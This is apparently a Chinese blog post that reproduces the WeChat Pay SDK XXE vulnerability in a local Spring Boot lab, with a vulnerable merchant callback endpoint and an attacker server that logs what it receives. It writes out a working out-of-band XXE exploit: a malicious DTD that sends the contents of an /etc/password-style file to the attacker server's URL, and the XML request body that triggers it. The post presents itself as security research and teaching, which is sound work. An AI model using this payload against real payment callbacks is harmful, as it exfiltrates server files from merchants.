微信XXE漏洞复现

7月4号微信SDK曝出漏洞,现在回现漏洞出现的过程,以下方式用JAVA 的SpringBoot实现。

强调:只是技术研究,不准用于非法途径。熟悉了这些漏洞才能让系统更健壮

有两个工程,一个是模拟商户端的server,有一个支持微信回调的接口;一个是攻击方的server,有一个可以接收请求的方法。

  1. 创建一个商家的springboot工程,端口8080
  2. 配置springboot可以访问静态文件,pom.xml中引入thymeleaf即可
<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
  1. 在resource下创建static/xxe.dtd,内容为
<!ENTITY % shell "<!ENTITY &#37; upload SYSTEM 'http://127.0.0.1:9080/attack/?file=%file;'> ">
%shell; 
%upload;

以上http地址是攻击者的服务器地址

  1. 以下是商家controller的代码
@RestController
@RequestMapping("/wxpay")
public class WxPayController {
    @PostMapping(value = "notify", consumes = "text/xml")
	public ResponseEntity wechatNotify(@RequestBody String notifyContent, HttpServletRequest request, HttpServletResponse response) {
		wxPayService.notifyAfterPay(notifyContent)
		return ResponseEntity.ok().build();
	}
}

wxPayService就是Wx sdk里面的WxPay的调用processResponseXml的方式,就是解析转换XML作用的

  1. 创建attach的工程,端口9080
  2. 创建接收攻击后请求的方法
@RestController
@RequestMapping("/attack")
public class AttackController {
    @RequestMapping("/")
	public void test(String file,HttpServletRequest req) {
		Map<String, String[]> parameterMap = req.getParameterMap();
		parameterMap.forEach((x,y) -> System.out.println("x:"+x+";y"+y));
	}
}

file就是上面xxe.dtd的请求。

  1. 在程序运行磁盘根目录下创建etc文件夹,password文件,就好比linux服务器的/etc/password
  2. 运行两个程序 访问8080的wxpay/notify,以下是body
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
	<!ENTITY % file SYSTEM "file:///etc/password">
	<!ENTITY % xxe SYSTEM "http://127.0.0.1:8080/xxe.dtd">
	%xxe;
]>

  1. 在attack的controller里面就可以看到file参数,就也是password里面的内容
  2. [https://www.cnblogs.com/tongwen/p/5194483.html]此文章很好的讲述了XXE攻击,感谢[www.cnblogs.com/kismetv/p/9266224.html]的作者
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值